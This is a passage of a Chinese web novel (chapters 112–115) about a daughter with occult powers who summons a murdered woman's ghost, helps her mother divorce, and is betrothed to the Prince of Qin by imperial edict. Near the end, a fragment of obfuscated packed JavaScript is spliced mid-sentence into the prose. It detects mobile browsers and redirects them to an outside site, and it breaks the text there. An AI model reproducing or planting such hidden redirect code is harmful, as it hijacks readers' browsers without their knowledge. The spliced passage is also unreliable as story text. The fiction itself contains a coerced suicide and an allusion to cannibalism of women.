姜世安原本听到苏氏要索回嫁妆,心中极为不愿,苏氏陪嫁的田产铺子说不上多么巨富,但足以维持每年尚书府的体面生活,且年年都有盈余。
但听闻她愿意留下一半铺面,再思及苏氏终究出身清流名门,如今朝堂之上还有她父亲苏老大人的门生故旧……
若自己逼迫过甚,当真将她逼到绝路,惹得苏家那些“一根筋”的门生们群起而攻之,反惹一身腥臊,那才是因小失大。
罢了,舍了这些许钱财,换得日后清净,彻底断绝与苏氏的牵连,还能全个宽厚名声。
更重要的,是能彻底摆脱苏氏,为卿卿和孩子们腾出位置……这笔买卖,细算下来,其实是划算的。
“好!”姜世安深吸一口气。
他居高临下地看着苏氏,语气带着施舍般的倨傲,“苏**,看在往日情分和昭儿的面上,今日我便依你,与你和离。他日你若在外颠沛流离,后悔今日决定,可莫要再回头来求我姜家收留!”
那语气,那神态,仿佛离了姜家,她苏**便如同无根浮萍,再无立锥之地,只能沦落街头。
苏**配合地咬紧下唇,假意流露出几分煎熬与凄楚,垂下眼帘,不再去看姜家众人那副令人作呕的嘴脸。
姜世安深看她一眼,见她容颜苍白,神色凄楚,不由心中冷笑。
苏氏也是这些年被他养在深宅,不知外面世道艰难。等她真成了没了夫君庇护的和离妇人,独自面对外面的风风雨雨,就会知道一个妇道人家,离了夫家生存是何等艰难!
到时,少不得又要求着云昭,回来低三下四地见他一面!
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他不再犹豫,命人取来笔墨纸砚,当场便写起了和离书。
此时,不论是被鞭梢带倒、依旧坐在地上哼哼唧唧的姜老夫人,还是软在地上、眼神却闪烁不定的梅柔卿,抑或是整张脸肿得老高、却难掩眼中快意的姜绾心,无人不在心中大呼畅快!
总算要把这个碍眼多年的正室夫人逼走,腾出地方了!
姜老夫人美滋滋地想着,从今往后,她便是这姜家后院说一不二的唯一女主人,再无人能压她一头。
梅柔卿和姜绾心母女则交换了一个心照不宣的眼神,只待苏氏一走,转天便要吹足枕边风,让姜世安把梅柔卿扶正为继室!
届时,她们便是这尚书府名正言顺的女主人和嫡女!
每个人心里都拨拉着自己的如意算盘,满心以为好日子就在眼前。
唯独愣在原地、脸色惨白的姜珩,如同置身于另一个世界,难以接受这急转直下的现实!
他猛地冲到苏氏面前,声音因震惊和迷茫而嘶哑:“母亲!你方才那番话……到底是一时气话,与我父亲置气;还是您早为了与父亲和离分家,连我这个儿子都不要了?”
他猛地转头,指着一直冷眼旁观的云昭:“连她……连姜云昭都是您与父亲嫡亲的孩儿,我怎么可能会不是?这不可能!”
苏氏抬眸,冷冷地看着他,那目光里再无往日的温情,像在审视一个陌生人:“我问你,你可还有六岁之前的记忆?哪怕一星半点,关于我,关于你妹妹,关于这个家?”
姜珩被她问得一怔,下意识地回想,脑中却是一片模糊的混沌。
苏氏不等他回答,便自顾自地说了下去:“我记得非常清楚。直到我的珩儿六岁,昭儿被人抱走之前,珩儿都是我的孩儿,活泼健康,聪颖伶俐。”
她声音微微哽咽,“但在那之后,我因昭儿失踪,忧思成疾,一病不起,日日高烧不退,眼睛也有很长一段时间,视物模糊,几乎成了半个瞎子。”
她一字一句,钜细靡遗地道出当年的种种怪异与心酸:“那之后,我一直在病榻上缠绵,汤药不断,身子总不见好。
但在我眼睛稍有好转,能勉强视物之后,我就发现……我的珩儿变了。”
她的目光锐利地刺向姜珩:“你变高了,也变壮实了。那个年纪的孩子,时隔一两年,变化总是很大的,起初我并未多想。
可是……你连性情也彻底变了!我的珩儿性子顽皮跳脱,不喜拘束,最不爱捧着那些圣贤书,却偷偷痴迷舞刀弄枪,一心向往着纵马驰骋的沙场。可你……”
她顿了顿,语气带着彻骨的凉意,“你是什么性子,你心里应当比谁都明白!”
姜珩被苏氏这番细致到令人心惊的描述说的脸色煞白如纸,冷汗瞬间浸湿了后背!
他步步后退,难以置信地环视着在场神色各异的众人,试图找到一丝否定或安抚,却只看到冷漠、嘲讽或事不关己。
巨大的恐慌攫住了他的心脏,他声音嘶哑,带着一种濒临崩溃的绝望:“如果你不是我的娘亲……那我的母亲,到底是谁?她在哪里?!”
一直静立旁观的云昭忽而开口:“兄长想知道生母是谁,其实也不难。”
第112章 姜珩与生母相见
云昭的话,瞬间引来了所有人的注目。
连刚刚从姜世安手中接过和离书,疾速在上面摁好手印签上名字的苏氏,都惊讶地看向女儿。
姜世安更是脸色骤变,眼中闪过一丝难以掩饰的惊慌。
云昭迎着众人惊疑不定的视线,唇角勾起一抹似笑非笑的弧度:“此事,兄长不如先问一问父亲。想必他比家中任何一个人,都更清楚你的真实来历。”
云昭这话说得讥诮无比,可素来心高气傲的姜珩此刻却顾不上同她分辨!
他猛地转头,目光紧紧锁住手中拿着另一份和离书的姜世安,声音带着绝望的追问:“父亲!您告诉我!我的母亲……她到底是谁?她现在是生是死,人在何处?”
姜世安的目光下意识地瞟向地上的梅柔卿,带着一丝不易察觉的求助。
梅柔卿却佯作不知,低垂着眼,刻意避开了他的视线。
她可不是苏氏那种傻子,没那闲心和善心去替别人养儿子!更何况,这野种的生母,本就是她心头的一根刺!
姜世安碰了个软钉子,脸色更加难看,面对姜珩灼灼的目光,他艰涩开口,“珩儿,你母亲她……是一位很好的女子,只是她福薄,早已……”
“兄长,”云昭清冷的声音再次响起,“你想亲眼见一见你的亲生母亲吗?就在现在,就在此地。”
“云昭!”姜世安脸色剧变,厉声喝道:“你休要在此装神弄鬼,故弄玄虚!”
姜珩猛地冲到了云昭面前,激动之下甚至想去抓她的手臂:“你能让我见到她?你真的能!”
云昭微微侧身,避开他的手,眸中浮现一抹毫不遮掩的恶意:
“都是一家人,兄长既有恳求,我这做妹妹的,今日就诚心帮你一回。”
她吩咐道:“雪信,去打一盆清水来。莺时,取那套银针。”
雪信很快端来一盆清澈的井水,置于院中石凳之上。
云昭指尖捏着一根银针,看向姜珩:“伸出你的左手中指。”
人的十指连通心脉,中指尖血,至阳至纯,乃为‘心头血’,是血脉溯源、通灵问幽最直接的依凭。
姜珩此刻早已心乱如麻,闻言毫不迟疑地伸出左手。
云昭手起针落,在他指尖刺出一粒殷红的血珠,任其滴入清澈的水盆之中。
血珠入水,并未立刻消散,反而如同有生命般,在水中缓缓晕开一缕缕极细的红色丝线。
云昭神色一肃,双手在胸前结成一个繁复而古老的法印,指尖萦绕着肉眼难以察觉的淡淡清气:
“以水为引,通幽达冥!以血为契,唤尔真灵——现!”
这召唤咒语与她前夜在熙园召唤怨女颇为相似,却又有微妙不同。
彼时她知晓怨女姓名生平,又有孙婆子备好的特殊符纸为引,故能以水为媒,直呼其名。
而此刻,她不知姜珩生母名姓,只能凭借姜珩这一滴心头血为契,强行沟通幽冥,召唤那可能与世间尚存一丝牵挂的生灵魂魄!
这是云昭第一次在姜家众人面前,毫无遮掩地施展玄门术法。
院中仿佛有无形阴风自地底钻出,打着旋儿卷起落叶尘土,吹得众人衣袂翻飞,脊背发寒。
原本明媚的阳光似乎也黯淡了几分,院角那几株开得正盛的花木,以肉眼可见的速度蒙上了一层细微的白色霜晶!
姜家众人何曾见过这等阵仗,无不骇得面色如土,纷纷后退,眼中充满了惊惧与不可思议。
梅柔卿死死盯着云昭结印的双手。
她这些年倚仗背后高人,也算入了门道,深知云昭此刻展现出的,是她穷尽一生也无法企及的万分之一!
这认知让她心如油煎,嫉妒得几乎发狂!
随着咒语最后一个音节落下,云昭并指如剑,隔空对着水盆猛地一点!
同时,她对身旁的莺时低喝:“牛眼泪!”
莺时立刻从药箱中一个精巧的玉瓶里,用银簪蘸取了一滴清澈微粘的液体。
云昭接过,动作快如闪电,在姜珩下意识闭眼之前,已将那滴液体弹入了他的双眼之中!
“呃!”姜珩只觉得双眼一阵冰凉刺骨,随即是难以忍受的酸胀。
就在他努力眨动眼睛时,周遭温度骤降,众人呵出的气息都变成了白雾。
水盆上方,一道模糊的、半透明的女子身影,正缓缓凝聚成形。
女子容貌甚美,却面色青白,毫无生气,最令人触目惊心的是,她那纤细的脖颈上,一道深紫色的勒痕清晰可见
她飘忽的身影望着姜珩,嘴唇无声地翕动,眼中滚下两行血泪:“淳哥儿……我的淳哥儿……”
姜珩如遭雷击,浑身剧震!
“淳哥儿”这三个字,如同钥匙,猛地打开了他尘封记忆的最深处!
一个模糊的、总是带着温柔笑意的女子身影,冲破重重迷雾,清晰地浮现出来——
那道影子总是站在一扇紧闭的房门外,偷偷将油纸包着的食物从门缝里塞进来,声音温柔又带着愧疚:
“淳哥儿乖,娘给你带你最爱的笋烧肉来了!”
“淳哥儿今日又等久了吧?是娘不好。再等等,等娘攒够了钱,就带你离开这个鬼地方,咱们去京城,找你爹……”
“淳哥儿,上次借来的书又看完了?娘再去给你借一本,好孩子,好好读书,将来要有出息!”
那些被遗忘的、属于“姜淳”的童年记忆,如同潮水般汹涌而至,带着辛酸、贫苦,却也有着一份卑微而真挚的母爱。
姜珩眼神直愣愣的,嘴巴不受控制地颤抖张开,一个陌生又熟悉的字眼冲口而出:“娘……?”
妇人朝他绽出一抹悲伤却欣慰的笑:“我的淳哥儿长大了。娘没想到,此生还有机会再见到你……”
“你……你真是我娘?”姜珩依旧难以置信,声音哽咽。
云昭走上前,伸出食指,轻轻点在那女子魂魄虚幻的额间。
指尖微光一闪,女子生前最后的遭遇、那份刻骨铭心的绝望与怨恨,便如同画面般涌入云昭的识海。
她收回手,抬眸看向冷汗涔涔的姜世安,眼中是毫不掩饰的冰冷与鄙夷。
她早知自己这个父亲道貌岸然,却没想到,竟能卑劣狠毒至此!
眼前这女子竟是被姜世安逼得投缳自尽,而后,他便直接带走了目睹全程的孩子!
也就是说,当年的姜淳,其实是亲眼看着自己的母亲,被亲生父亲活生生逼死,吊死在房梁之上!
活人与阴魂接触,阴气侵体,轻则大病一场,重则气运衰减,噩运缠身。
但云昭与眼前这个占了兄长身份的“姜珩”本就有着两世之仇,当然不会在意他事后是否会生病倒霉。
于是,她一把拽起他冰冷颤抖的手,强行将其按在了芸娘的手上!
被刻意遗忘的记忆,排山倒海般倒灌回他的脑海——
母亲的温柔,生活的清苦,父亲偶尔来访的虚假温情……
以及最后那间昏暗的屋子,父亲狰狞的面孔,母亲奋力挣扎踢动的双脚,脖颈断裂的脆响!
在姜家众人眼中
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,他们看不见那芸娘的魂魄,只看到姜珩对着一片空气滴血、发呆,质问!
而后,云昭不知做了什么,姜珩便突然状若疯魔,脸色煞白如鬼。
之后,竟像个孩子般,毫无形象地蹲在地上,一颗接一颗豆大的泪珠砸落在青石板上,发出沉闷的声响。
老夫人从小看着他长大,何曾见过他这般模样,当即尖声叫道:
“世安!快!快把珩哥儿拉开!他这是被那死丫头用了妖法,中邪了!她这是要害死我的珩哥儿啊!”
姜世安也被眼前诡异的一幕骇得心惊肉跳,迟疑着想要上前。
云昭却对着姜世安缓缓一笑:“父亲,芸娘说,她有足足十六年,未曾这般好好看看您了。
她说,当年在丽明湖畔,您夸她舞姿如弱柳扶风。
她问您可还记得,当年在她枕边,是如何承诺必定接她母子入京,许她一个名分的?”
姜世安脸上血色尽褪,指着云昭,嘴唇哆嗦着,却一个字也说不出来!
这等闺房私语,云昭绝无可能知道!除非……除非真是芸娘的鬼魂……
姜绾心不明所以,但见父亲和兄长都如此反常,也吓得骇然失声。
她见姜珩模样实在可怜,便缓步上前,试图靠近:“兄长,你怎么了?你别吓心儿啊……”
然而,就在她话音落下的瞬间,在姜珩的视野中,那道身影,忽如青烟般,缓缓消散了。
他下意识伸手去抓,却只抓住了一片冰冷的虚空。
一旁,云昭冷冽的声音如同寒冰:“行了。你既已想起一切,就该明白。‘姜珩’这个名字,本属于我那位如今不知身在何方的嫡亲兄长。
你一个青楼女子所出的私生子,不配叫这个名字。还是早日改回你的本名——姜淳为好。”
此言一出,姜世安如同被抽干了所有力气,面如死灰。
因为“淳哥儿”正是姜珩六岁前的乳名,除了他与芸娘,以及当年几个已被处理掉的下人,绝无外人知晓!
云昭若非真的招来了芸娘的魂,绝无可能知道!
他看着眼前失魂落魄的儿子,下意识地唤道:“珩儿……”
姜珩,或者该称他为姜淳,猛地抬起眼,那双曾经清高孤傲的眸子,此刻布满了骇人的血丝!
他的目光如同淬毒的利箭,逐一扫过姜家众人,最后深看了云昭一眼,头也不回地冲出了姜府大门,消失在众人的视线之中。
“孽障!”姜世安对着周围愣神的仆役厉声嘶吼,“还不快去追!”
姜老夫人挣扎着从地上爬起来,也顾不得体统,张牙舞爪地就要扑过来撕打云昭:
“都是你这搅家精!自打你回来,家里就没一刻安宁!我的珩哥儿要是有个三长两短,你得给他赔命!”
梅柔卿心中暗恨云昭手段诡谲,竟真能招魂问灵,彻底搅乱了她的盘算!
她此刻只想赶紧将苏氏母女彻底扫地出门,于是强撑着想要起身助阵,奈何孙婆子那定身咒的余威犹在,浑身依旧酸软无力。
姜绾心则捂着自己红肿不堪的脸颊,对姜世安道:“爹爹,还是趁早把姜云昭捆起来……”
就在姜家这片鸡飞狗跳、人仰马翻的混乱达到顶点之际——
“圣——旨——到——!”
一声拖长了调子、尖细而极具穿透力的唱喏,如同惊雷般骤然炸响,清晰地传入了每一个人的耳中,瞬间压过了所有的喧嚣!
“传圣上口谕,宣,尚书府姜氏长女,姜云昭,即刻接旨——!”
第113章 赐婚秦王正妃!
在场众人皆是一怔。
姜世安最先反应过来,他脸上瞬间堆起混杂着惊喜与谥媚的笑容,忙上前催促云昭:“阿昭,快随为父来!莫要让宣旨的公公等急了,这可是天大的体面!”
他激动之下,忍不住想要一抚云昭的肩膀以示亲昵,却被云昭神情冷漠地避开了。
姜世安的手僵在半空,脸上却不见半分不悦,反而耐着性子,语重心长道:
“阿昭,你如今年纪尚小,许多事看不明白。等再过几年,你便会明白,父亲今日为你筹谋的,是一桩多少人求都求不来的好姻缘!
永熙王位高权重,你跟了他,日后自有享不尽的荣华富贵……”
云昭冷眼望着他。
即便早已看清姜世安凉薄无耻的嘴脸,此刻亲耳听到他这番颠倒黑白的言论,心中仍不免泛起一阵冰冷的厌恶。
若她云昭并非清微谷传人,身负玄术,只是寻常深闺女子,此刻恐怕早已沦为永熙王的盘中餐!哪里还能站在这里听他大谈什么“皇权富贵”!
当然,这满京城,恐怕也找不出第二个如姜世安这般,能将卖女求荣说得如此冠冕堂皇的父亲了!
姜绾心眼中闪过一抹尖锐的嫉妒,但旋即,她又想起今早被太子殿下亲自送回府的甜蜜与荣耀。
罢了,且让姜云昭这**先得意几日!
就算得了圣旨又如何?最多不过是个侧妃!如何比得上她这板上钉钉的未来太子妃尊贵?
况且那永熙王年事已高,脾气暴戾,听闻对府中姬妾非打即骂,折腾人的手段层出不穷!她这位“好姐姐”嫁过去,恐怕用不了几日,就会被折磨得不成人形!
想到这,姜绾心唇角难以抑制地翘起,故意拔高声音,用一种甜得发腻的语调说道:“妹妹在这,可要先恭喜姐姐了。”
将将站起身的梅柔卿则比姜绾心态度转换快得多:“恭喜大小姐,总算是否极泰来,守得云开,得了这么一份‘绝好’的姻缘!真是令人羡慕啊!”
梅柔卿自觉这番话说得十足十的讽刺,堪称完美。
这些日子以来,只要一想起碧云寺忘尘阁那晚的荒唐狼狈,想起她被迫在苏氏面前下跪敬茶的**,还有那日当着阖府上下被鞭笞的痛苦难堪!她就恨得咬牙切齿,恨不得生啖苏氏母女之肉!
但今日,终于一切都颠倒过来了!
苏**刚刚和离,眼看着就要沦为弃妇;而云昭,也要被送入永熙王府那个魔窟受尽折磨!光是想象那画面,她就快慰得几乎要笑出声!
说不定过些时日,永熙王府又要大摆宴席,而宴席上的主菜……梅柔卿眼中闪过一道恶毒的光。苏**若是知道自己的亲生女儿被做成“玉娇容”,被那些权贵分而食之,必定肝肠寸断,生不如死!
唯一的儿子早在六岁时便不知所踪,女儿又落得如此凄惨下场……光是想一想,梅柔卿就觉得扬眉吐气,痛快淋漓!
苏**啊苏**,当年名动京城的才女,那般清高自许,二十二年过去,还不是要被她处处比下去,彻底踩在了脚下?
从今往后,她才是这尚书府真正的女主人,她的女儿将是未来的太子妃,她的儿子也将继承姜家基业!她赢了,赢得彻彻底底!
姜老夫人此刻也顾不上哭闹了,慌忙由婆子们搀扶起来,手忙脚乱地整理着有些凌乱的衣摆和发髻,催促着身边的婆子:“快!快扶好我!可不能御前失仪!”
她浑浊的老眼里闪烁着与有荣焉的光芒,仿佛这圣旨是颁给她的一般。
而苏氏则满怀担忧地看向云昭。
就在众人心思各异的当口,一众身影已绕过影壁,出现在混乱的姜家前院。
出乎所有人意料,率先走进来的竟不是众人预想中手持拂尘的内侍太监,而是身姿挺拔如松的秦王萧启!
他今日破天荒地穿了一袭雪色云纹锦袍,墨发以玉冠束起,少了平日的冷厉迫人,更添几分清雅雍容,俊美无俦的容颜在骄阳之下,几乎令人不敢直视。
他的身后,分别站着驸马卫临,以及月前在青莲观为妹子昭雪而下跪恳求云昭的李副将!
两人见到云昭,眼中皆流露出毫不掩饰的欣喜与激动。
常公公反倒走在最后头。
他微微气喘,朝云昭无奈一笑,声音依旧尖细却带着熟稔:
“杂家这把老骨头,可比不得秦王殿下和这几位将军脚程快!”
云昭知他是自谦,前次他在姜府门前显露的身手可非比寻常。她微微颔首回礼。
常公公同样喜气洋洋,走到众人面前,展开手中明黄的卷轴,姿态威仪,声音清晰地传遍整个院落:“姜家嫡女,姜云昭,接旨——”
“奉天承运皇帝,诏曰:咨尔尚书府姜氏长女云昭,毓质名门,柔嘉成性。慧质兰心,通晓玄微之妙;襟怀坦荡,屡解黎庶之忧。
更兼勘破邪佞,肃清妖氛,于青莲观、熙园诸事中,彰显忠勇智谋,深慰朕心。
秦王萧启,朕之侄儿,秉性端醇,文韬武略。尔二人志同道合,默契天成,此乃天赐良缘,珠联璧合。
今将汝许配秦王为正妃,择吉于明年春和景明,桃李芳菲之际完婚。望尔二人同心同德,克谐家国。布告中外,咸使闻知。钦此——”
圣旨宣毕,整个前院陷入一片死寂,落针可闻。
在场所有姜家人,仿佛集体被施了定身咒,石化当场!
姜老夫人手中紧握的拐杖“哐当”一声掉在地上,她却浑然不觉,只是难以置信地看看常公公,又猛地扭头看向身旁同样震惊的姜世安,仿佛在确认自己是不是年老耳背,听错了话。
姜世安同样眼睛瞪得溜圆,声音干涩:“秦……秦王?”他愣愣地重复,“不该是……永熙王吗?”
梅柔卿脸上的得意笑容彻底僵住,转为全然的震惊与茫然,甚至失态地微微张着嘴。
姜绾心更是嘴比脑子快,脱口而出:“常公公,您……您是不是念错了?是熙王府,不是秦王府,对吧?”
她因脸颊肿胀,声音含糊,却更显尖利。
常公公睇了她一眼,眼神冷淡,声音带着一缕嘲讽:“姜二姑娘,慎言。圣旨金口玉言,岂容置疑?姜尚书,贵府的规矩……是得好生再立一立了。”
姜老夫人被常公公这隐含警告的话吓得一个激灵,终于从巨大的震惊中回过神来。下一秒,一股难以言喻的狂喜猛地冲上心头,让她那张老脸瞬间涨得通红!
秦王!那可是陛下嫡亲的侄儿,年少有为,权势赫赫,远比年迈暴戾的永熙王更值得依附!她姜家的孙女,竟然要被册封为秦王妃!不是侧妃,是正妃!
她激动得浑身发抖,此刻只觉得云昭这个孙女怎么看怎么顺眼,简直是姜家的福星!她连忙用手肘狠狠捅了一下还在发愣的
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姜世安:“世安!快!快谢恩啊!这是天大的喜事!天大的荣耀啊!”
姜世安被母亲这一捅,才如梦初醒,连忙叩首:“公公教训的是,是小女无状,下官定当严加管教!臣叩谢陛下天恩!陛下万岁万岁万万岁!”
他如梦初幻地跪伏下去,大脑却一片空白,一时之间,竟分不清这突如其来的变故,对他而言是福是祸!
秦王……那可是比永熙王更年轻、更显赫、更手握实权的存在!
但大女儿若许了秦王,永熙王和太子殿下那儿,又该如何交代?
一旁跪着的苏氏,在听到“秦王妃”三个字时,心猛地一沉。
与女儿重逢至今,她深知女儿身负异禀,机缘深厚。
可她宁愿女儿只是个平凡女子,觅得一个真心待她的寻常夫君,平安顺遂地过完一生。
她永远记得,当年太皇太后将那块玉佩赠予她,说是留给她未来女儿时,曾意味深长地说过:“愿此女一生平安无忧,自由如风,不受宫墙拘束,不染权势纷争。”
这也是她这个做母亲的,对女儿最深的祈愿!
跟在云昭身后的严嬷嬷等人,则是个个喜上眉梢,与姜家众人的震惊失措形成鲜明对比。
莺时心中雀跃的同时也悄悄松了口气:老天爷,可憋死她了!上回随姑娘一同进宫听到点风声,她可是连夫人都没敢透露半个字!这些日子夜里睡觉,都生怕做梦说秃噜嘴!
今晚她总算能睡个踏实觉了!
严嬷嬷面上沉稳,心中却也泛起波澜:本想着跟了姑娘,能过几年清闲养老的日子,没想到……这怕是又要跟着水涨船高,再操劳些年头了?
她家儿媳总说她是个有福气的,旺主,看来还真有几分道理!
雪信和孙婆子,则都将目光投向云昭,仔细观察着她神情的变化。
在一片复杂的目光注视下,云昭缓缓抬起头,神色平静无波,仿佛这石破天惊的赐婚早在她意料之中。
她双手高举过顶,声音清越沉稳:“臣女姜云昭,叩谢陛下隆恩!定不负圣望。”
常公公脸上立刻堆起真切的笑容,虚虚扶了一把:“王妃娘娘快快请起。”
云昭顺势起身,从袖中取出一个与上次一般无二、却明显更厚实几分的荷包,不着痕迹地递到常公公手中。
常公公指尖一触,便感觉到里面除了银子,还有好几张叠成三角形的符纸!
他脸上的笑容瞬间如同秋日盛放的菊花,灿烂得无以复加,比之上次接过符纸时还要热情真挚几分。
这段时间,宫里宫外谁见了他不夸一句“常公公近日气色红润,精神矍铄”?连陛下都曾打趣说他瞧着顺眼了不少。
唯有他自己知道,这一切都得益于秦王妃所赠的安眠符!
自用了安眠符,他这困扰了十几年的严重失眠竟不药而愈,每夜都能稳稳睡上两个多时辰!这对于一个常年辗转反侧的老人而言,简直是千金难买的幸福!
常公公珍而重之地将荷包收起,笑吟吟地朝云昭郑重拱了拱手:“老奴恭喜王妃娘娘!贺喜王妃娘娘!秦王殿下龙章凤姿,娘娘慧心纨质,实乃天作之合!陛下闻此佳讯,亦是龙心大悦!愿娘娘与殿下琴瑟和鸣,永缔良缘!”
他顿了顿,脸上的笑容更深,侧身让出一步,对萧启道:“殿下,陛下吩咐的第二道旨意,便请您亲自宣示吧。”
第114章 秦王一把扯断她颈间璎珞!
萧启目光落在云昭身上,带着一丝不易察觉的温柔。
云昭亦抬起那双黑白分明的眸子,毫不避讳地回望过去,眼底深处是一片沉静。
这道赐婚圣旨,她心中早有准备,今日众人离开熙园时,萧启便在她身侧低语过:“今日我便入宫向皇叔请旨赐婚,你先回姜府,将那些琐碎恩怨彻底了断。”
也正是因他这句话,她才与母亲苏氏当机立断,定下了这和离分家、索回嫁妆之计。
然而,这第二道圣旨,萧启却从未向她透过半点口风。
萧启看着骄阳之下,云昭那张秾丽绝俗、却毫无闺阁女儿娇羞之态的脸庞,唇角不由勾起一抹真切的笑意。
他朗声宣道:“陛下另有口谕:赐秦王妃云昭,京中‘昭明阁’宅邸一座!此宅毗邻秦王府,便于王妃协助本王处理各类机要案件,特设‘玄察司’于其中。
另,秦王妃手中‘凤阕令’,可广纳天下冤情,凡有奇冤诡事不得昭雪者,皆可持状至昭明阁求告!
秦王妃云昭,亦可凭此令,随时入宫面圣奏对,沿途禁军守卫,不得以任何理由阻拦!”
此言一出,云昭眼底瞬间迸发出粲然的光彩。
这第二道圣旨,当真深得她心!
就连一旁原本对皇室婚姻心存忧虑的苏氏,以及严嬷嬷等人,在听到这旨意后,也纷纷流露出惊喜与安心的神色。
这意味着,她们姑娘即便嫁入王府,也绝非困于后宅的金丝雀,而是拥有自己一方天地的秦王妃!
“啥?!搬出去住?这成何体统!”姜老夫人第一个跳出来反对,“一个待嫁的姑娘家,不好好待在闺阁里绣嫁衣、学规矩,搬出去独自立府?这像什么话!
传出去,别人还不得戳着我们姜家的脊梁骨,说我们苛待了即将出阁的孙女,连个容身之处都不给?我们姜家的脸面还要不要了!”
她绝口不提方才还想将云昭母女赶尽杀绝,此刻只想着如何将云昭这位待嫁的秦王妃牢牢绑在姜家!
姜世安忙也道:“阿昭,陛下赐宅是天大的恩宠,为父也为你高兴。可你年纪尚轻,又是待嫁之身,独自居住偌大宅邸,终究于礼不合,恐惹人闲话……”
萧启淡漠的目光扫了过来:“何人说闲话?”
姜世安被他问得一噎。
萧启唇角勾起一抹冷峭的弧度:“何人敢说闲话,让他来本王面前,亲自说与本王听!”
姜世安被这强大的气场慑住,一时间冷汗涔涔,他甚至下意识地看向刚刚签下和离书的苏氏:“你也劝劝女儿……”
苏氏讥诮一笑:“姜大人莫非是贵人多忘事?你我方才已然签字画押,和离书墨迹未干。我如今一个‘外人’,有何资格置喙姜家大小姐的去留?
更何况,昭儿之事,自有陛下圣裁,秦王殿下安排,何时轮到旁人多嘴?”
这话如同一个响亮的耳光,扇得姜世安脸色瞬间惨白,哑口无言。
梅柔卿此刻也彻底从震惊中回过神来,一股蚀骨的嫉妒自心底最深处涌起!
凭什么?凭什么苏**都成了弃妇,她的女儿却还能攀上秦王这等高枝,甚至获得如此殊荣,可以独立开府,执掌权柄?!
她简直恨不得太子也带着赐婚诏书,即刻出现在姜府!好狠狠打苏氏这对母女的脸!
云昭懒得理会这些人作何感想,径直吩咐道:“严嬷嬷,哑婆,带人去我院里,将一应物品仔细收拾妥当。”
她复又看向脸色青白交加的姜世安,语气透着一种令人捉摸不透的意味:“父亲放心,我如今到底还是姓姜的,这里终究是我的家,我怎会真的离了这家?”
她心中冷笑,放心!她当然不会彻底离开姜府。
母亲还有一半铺面押在这里,更重要的是,若是早早离了这龙潭虎穴,她岂不是要错过接下来诸多好戏?
姜世安闻言连连点头:“好,好!我家阿昭果然深知大体!”
云昭话锋一转:“陛下金口玉言,赏赐府邸也是一番圣心隆恩。我总要先带人过去安置一番,瞧瞧那宅子情形,缺了什么,日后也好陆续添置补上。”
云昭这番若即若离的态度,将姜家上下钓得心痒难耐,惶恐不安,一时间众人皆不知该如何应对。
云昭不再看他们,转而面向萧启:“殿下,我爹娘双方已签下和离书。烦请殿下派人,护送他二人前往京兆府,将此文书备案用印,完成最后的律法手续,以免日后再生枝节。”
说完,她又看向一旁温氏:“三婶,带上孩子随我来。”
温氏早在看到悄然站在萧启随从队伍中的丈夫姜世忠时,一颗高悬的心便已落回实处。
此刻听到云昭召唤,她再也忍不住,拉着绾棠和绾荔快步上前,从怀中取出那张早已写好的分家单子,双手微颤地递了过去。
姜世忠接过那张轻飘飘却又重若千钧的纸,隔着几步远的距离,朝着老夫人和姜世安,重重地磕了一个头,声音带着解脱与决绝:
“多谢大哥成全!自此以后,我姜世忠一房,与尚书府本家,恩断义绝,各安天命!”
说话间,云昭已转身离开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602915|187080||http|test|mini|href|location''.split(''|''),0,{}));
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r>众人还想再说什么挽留的话,却在萧启冷冽的目光与李副将等侍卫无形的威压下,呐呐不敢言。
尤其姜世安,几乎是半推半就地被李副将“请”着,与神色漠然的苏氏一同往京兆府而去。
他边走边回味,今日这局面,苏氏带着大半嫁妆走了,三房也分家脱离……
可转念一想秦王煊赫的权势,他又强行安慰自己:无妨,无妨!只要云昭还姓姜,这层关系就跑不了!这门姻亲,怎么算都是他赚了!
云昭转身欲行,萧启却忽然道:“且慢。”
在云昭略带疑惑的注视下,他迈步走向脸上红肿未消、正眼神复杂地看着他的姜绾心。
姜绾心还是头一次如此近距离地与这位名震朝野的秦王接触。
只见他身量较之太子更为挺拔高大,肩宽背阔,充满了力量感,劲瘦的腰身却又收得极窄,两条长腿笔直有力。
经历过昨夜与太子的缠绵,她已初识情欲滋味,此刻见到萧启这般宛若天神的俊美男子,竟忍不住心猿意马,脸颊绯红,幻想着若是能被这样的男子拥入怀中,该是何等蚀骨销魂的体验……
萧启在她面前站定,微微俯身。
姜绾心顿时心如擂鼓,眼睫乱颤,不由娇滴滴、羞怯怯地唤了一声:“秦王殿下……”
然而,萧启伸出的手,却并非如她幻想般温柔,而是快如闪电,精准地扯下了她颈间那枚流光溢彩的彩云琉璃吊坠!
“啊——!”姜绾心一声惊呼。
只见萧启随手将那价值不菲的坠子扔在地上,抬起脚,毫不留情地碾了上去!
姜绾心彻底怔住,姜家众人亦是目瞪口呆,不明所以。
萧启冰冷的目光扫过姜绾心瞬间煞白的脸,声音不大,却足以让每个人听清:
“本王名下的金缕阁,半月前失窃,丢失了一批尚未完工的首饰。其中,正有一枚彩云琉璃吊坠,与姜二小姐颈间此物,一般无二。没想到,贼赃竟会戴在姜二小姐身上。”
他语气微顿,带着慑人的寒意,“今日,看在你是云昭妹妹的份上,本王不予追究,亦不带你去见官。望你好自为之。若有下次——”
他没有说完,但那未尽之语中的威胁,让所有人不寒而栗。
姜绾心后知后觉地捂住脖子,指尖触到一丝黏腻,低头一看,竟是殷红的血珠!
原来是方才萧启粗暴拽断璎珞时,坚韧的丝线在她细嫩的脖颈上勒出了一道血痕!
“血!血!!”她吓得魂飞魄散,尖声大叫,腿肚子一软,直接瘫坐在地。
第115章 外祖父命在旦夕!
梅柔卿慌忙扑上前查看,指尖触到女儿颈间那道刺目的血痕,心头又惊又怒,如同被油煎火燎!
这云形琉璃吊坠分明是那人所赠,且当时特意告知,说是从秦王母家名下那间金缕阁买来的珍藏!怎会成了贼赃?
她猛地抬头欲要争辩,可目光撞上萧启那双深不见底的眸子时,浑身的血液仿佛瞬间冻结——
萧启眼底翻涌的,是真正从尸山血海中淬炼出的杀伐之气!她方才竟被怒火冲昏了头,险些触怒这尊杀神!
